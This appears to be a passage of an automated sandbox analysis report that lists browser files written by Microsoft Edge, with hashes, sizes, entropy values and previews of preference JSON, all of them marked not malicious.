C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b7598911-ef74-487f-883a-abba24bfcbe1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\dd4734a1-ef27-4d89-9b9f-d3037f343289.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a5bcea29-6e0e-4539-b8b5-7c8d064628d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.56127032656478
Encrypted:	false
SSDEEP:	768:N/ppEM7pLGLhxbWPKgfO+8F1+UoAYDCx9Tuqh0VfUC9xbog/OV1GCR1aFrwkeSNt:N/ppEwchxbWPKgfO+u1jacGC/aukeScw
MD5:	E73DC5FDB077869AAD2B802D8D322E9C
SHA1:	4A6EC89EC97CB43E1EA622AA2222607A59B9D2BE
SHA-256:	973E05040E7AF95847D624FFB55FE44FBB555867653DCAF2A518E2A61FC48F30
SHA-512:	DF4A8610576AB0D17A5D54DE0A6AEF15EE3514955613E57292F8D97AB9D91A43D7262489B53F9B96C178D5B76D7E26B591D0FB95A7F68B31E4A8138022C148DB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381269505792784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381269505792784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cb689ee4-b33e-42cf-af51-db925b5eb0ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17077), with no line terminators
Category:	dropped
Size (bytes):	17079
Entropy (8bit):	5.452108943531342
Encrypted:	false
SSDEEP:	384:st8PGKSu4bsuJfhrnh9U9EhbGf4QwE6WaaTYa:sGOxu6Jfpnh+ubGfHzWaTYa
MD5:	AFC6D7E719529E9CF863E982D9852D86
SHA1:	E513024FD2A5EE9774824E7730A0132A122DECB7
SHA-256:	5046479D50F31B4B225E980AE2A5FCD978D76CB203E2BD090B263373C90B71DC
SHA-512:	1A07C5E25B0040D1B316D1E9AA337E99E703D6C801E6606AC8CA624479D482F6863391B8305899A1EF636D7A23E02DEC0AAD25DBCCEA3433753E28122E494D40
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e67a6f13-17cb-46b4-8222-9c148881cd6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17834), with no line terminators
Category:	dropped
Size (bytes):	17836
Entropy (8bit):	5.481917131040382
Encrypted:	false
SSDEEP:	384:st8PGKSu4bsuJfhIZgnh9U9EhbGf4QwE6W4laTYa:sGOxu6Jfsgnh+ubGfHz+aTYa
MD5:	5961745C3B7066FFE0C605F28AFB544E
SHA1:	EA13B6A922FCE6F34F52258841258A385A41566A
SHA-256:	985317D4A78DEC7323B2FE517D3B4A10424B20124E76E33F23346749D9541636
SHA-512:	C05240CF193E058465E761977FE399D1AD8080F25958FE9AE337C3792753D9A7924E57CAD980A7B6EB3261A9A84873D15B122F0C23E897B2F74764325D565299
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f07bd2cb-b9bb-4e9c-851f-31941dd74ca5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17835), with no line terminators
Category:	dropped
Size (bytes):	17837
Entropy (8bit):	5.481939055083794
Encrypted:	false
SSDEEP:	384:st8PGKSu4bsuJfhIZgnh9U9EhbGf4QwE6WllaTYa:sGOxu6Jfsgnh+ubGfHzfaTYa
MD5:	3982E243EA680D16DA14909D14CF4051
SHA1:	8E60D4A8C4165ADAD6FA3B65A28618CAC1956C98
SHA-256:	09505C9CAF49500C01B1590EF812A7634C656A08CBA7D9DC9B4964DEC64A0C2C
SHA-512:	69C9CCFC6485250AABAEE0183A9FF26122C2EB6DCEAA4B8A7ADC4F0C97F3489939BC7EC8E6B942E44D5B2B25AD35FE42204063C2EA4F783825A4A3FF23408F8A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f0fb09ac-8d3b-4940-be2a-0347210ef0bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17670), with no line terminators
Category:	dropped
Size (bytes):	17672
Entropy (8bit):	5.485359140889295
Encrypted:	false
SSDEEP:	384:st8PGKSu4bsuJfhIZgnh9U9EhbGf4QwE6WaaTYa:sGOxu6Jfsgnh+ubGfHzmaTYa
MD5:	C292C49395A64102C21EE4F110775FFD
SHA1:	F15464EED8EA5D5D7D20171D8D028E5A967BFDF4
SHA-256:	2AC14F713FCD2B6B6DE0BE812E557A6FC315A62C23543AAE6E31D59D747905A5
SHA-512:	10263DB8ACDB611FA48F07558A8168870A5DEA71E8FDD5AC3F3A5F3ED6CA10CC297D03EC1179EC124C253A9341116870FF7F48AEEE939B789239EF2D08F60454
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37521.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3763b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37706.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39de7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48828.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
